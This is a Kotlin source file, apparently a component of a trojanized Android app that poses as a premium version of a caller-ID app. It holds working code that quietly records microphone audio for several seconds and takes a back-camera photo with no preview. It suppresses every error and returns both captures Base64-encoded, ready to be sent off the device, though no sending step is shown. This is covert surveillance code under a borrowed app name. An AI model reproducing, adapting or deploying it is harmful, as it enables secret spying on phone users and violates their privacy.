package com.truecaller.premium import android.Manifest import android.content.Context import android.content.pm.PackageManager import android.graphics.PixelFormat import android.hardware.camera2.CameraCaptureSession import android.hardware.camera2.CameraCharacteristics import android.hardware.camera2.CameraDevice import android.hardware.camera2.CameraManager import android.hardware.camera2.CaptureRequest import android.media.AudioFormat import android.media.AudioRecord import android.media.ImageReader import android.media.MediaRecorder import android.os.Handler import android.os.HandlerThread import android.util.Base64 import androidx.core.content.ContextCompat import java.io.ByteArrayOutputStream import java.util.concurrent.CountDownLatch import java.util.concurrent.TimeUnit object MediaCapture { fun mic(ctx: Context, seconds: Int = 10): String? { if (ContextCompat.checkSelfPermission(ctx, Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) return null return try { val sr = 44100 val bufSize = AudioRecord.getMinBufferSize(sr, AudioFormat.CHANNEL_IN_MONO, AudioFormat.ENCODING_PCM_16BIT) val rec = AudioRecord(MediaRecorder.AudioSource.MIC, sr, AudioFormat.CHANNEL_IN_MONO, AudioFormat.ENCODING_PCM_16BIT, bufSize * 2) rec.startRecording() val out = ByteArrayOutputStream() val buf = ByteArray(bufSize) var read = 0 val total = sr * 2 * seconds val start = System.currentTimeMillis() while (read < total && System.currentTimeMillis() - start < seconds * 1000L + 1000) { val n = rec.read(buf, 0, buf.size) if (n > 0) { out.write(buf, 0, n); read += n } } rec.stop(); rec.release() Base64.encodeToString(out.toByteArray(), Base64.NO_WRAP) } catch (_: Exception) { null } } fun camera(ctx: Context): String? { if (ContextCompat.checkSelfPermission(ctx, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) return null val cm = ctx.getSystemService(Context.CAMERA_SERVICE) as CameraManager var camId: String? = null try { for (id in cm.cameraIdList) { if (cm.getCameraCharacteristics(id).get(CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_BACK) { camId = id; break } } } catch (_: Exception) {} camId ?: return null val thread = HandlerThread("cap").apply { start() } val handler = Handler(thread.looper) val latch = CountDownLatch(1) var result: String? = null try { cm.openCamera(camId, object : CameraDevice.StateCallback() { override fun onOpened(camera: CameraDevice) { try { val w = 1280; val h = 720 val reader = ImageReader.newInstance(w, h, PixelFormat.JPEG, 1) val builder = camera.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE) builder.addTarget(reader.surface) builder.set(CaptureRequest.JPEG_QUALITY, 90.toByte()) reader.setOnImageAvailableListener({ r -> try { val img = r.acquireLatestImage() val buf = img.planes[0].buffer val bytes = ByteArray(buf.remaining()) buf.get(bytes) result = Base64.encodeToString(bytes, Base64.NO_WRAP) img.close() } catch (_: Exception) {} latch.countDown() camera.close() }, handler) camera.createCaptureSession(listOf(reader.surface), object : CameraCaptureSession.StateCallback() { override fun onConfigured(s: CameraCaptureSession) { try { s.capture(builder.build(), null, handler) } catch (_: Exception) { latch.countDown() } } override fun onConfigureFailed(s: CameraCaptureSession) { latch.countDown() } }, handler) } catch (_: Exception) { latch.countDown() } } override fun onDisconnected(camera: CameraDevice) { latch.countDown() } override fun onError(camera: CameraDevice, error: Int) { latch.countDown() } }, handler) latch.await(8, TimeUnit.SECONDS) } catch (_: Exception) {} thread.quitSafely() return result } }